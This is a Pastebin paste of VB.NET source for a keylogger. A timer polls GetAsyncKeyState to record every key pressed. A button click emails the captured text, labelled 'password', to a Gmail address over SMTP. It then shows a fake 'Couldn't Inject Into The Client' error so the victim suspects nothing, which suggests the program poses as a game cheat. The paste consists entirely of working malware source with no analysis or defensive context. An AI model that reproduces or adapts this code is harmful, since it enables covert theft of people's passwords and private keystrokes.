Guest User

Untitled

a guest
Mar 12th, 2018
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. Imports System.Web
  2. Imports System.IO
  3. Imports System.Net.Mail
  4. Public Class Form1
  5. Dim result As Integer
  6. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  7. Private Declare Function GetAnyncKeySync Lib "user32" (ByVal vKey As Long) As Integer
  8.  
  9.  
  10. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  11. For i = 1 To 255
  12. result = 0
  13. result = GetAsyncKeyState(i)
  14. If result = -32767 Then
  15. TextBox1.Text = TextBox1.Text + Chr(i)
  16. End If
  17. Next i
  18.  
  19. End Sub
  20.  
  21. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  22. Dim mail As New MailMessage()
  23. Dim SmtpServer As New SmtpClient
  24. SmtpServer.Credentials = New Net.NetworkCredential("Youremail@gmail.com", "your email password")
  25. SmtpServer.Port = 587
  26. SmtpServer.Host = "smtp.gmail.com"
  27. SmtpServer.EnableSsl = True
  28. SmtpServer.EnableSsl = True
  29. mail.To.Add("YourEmail@gmail.com")
  30. mail.From = New MailAddress("YourEmail@gmail.com")
  31. mail.Subject = "password"
  32. mail.Body = TextBox1.Text
  33. SmtpServer.Send(mail)
  34. mail.Body = TextBox2.Text
  35. SmtpServer.Send(mail)
  36. mail.Body = TextBox3.Text
  37. SmtpServer.Send(mail)
  38. Timer2.Start()
  39. MsgBox("Error: Couldn't Inject Into The Client", MsgBoxStyle.Critical, "Error")
  40.  
  41. End Sub
  42.  
  43. Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
  44.  
  45. End Sub
  46.  
  47. Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
  48.  
  49. End Sub
  50.  
  51. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  52. ProgressBar1.Increment(1)
  53. If ProgressBar1.Value = ProgressBar1.Maximum Then
  54. End If
  55. End Sub
  56.  
  57.  
  58. End Class
Add Comment
Please, Sign In to add comment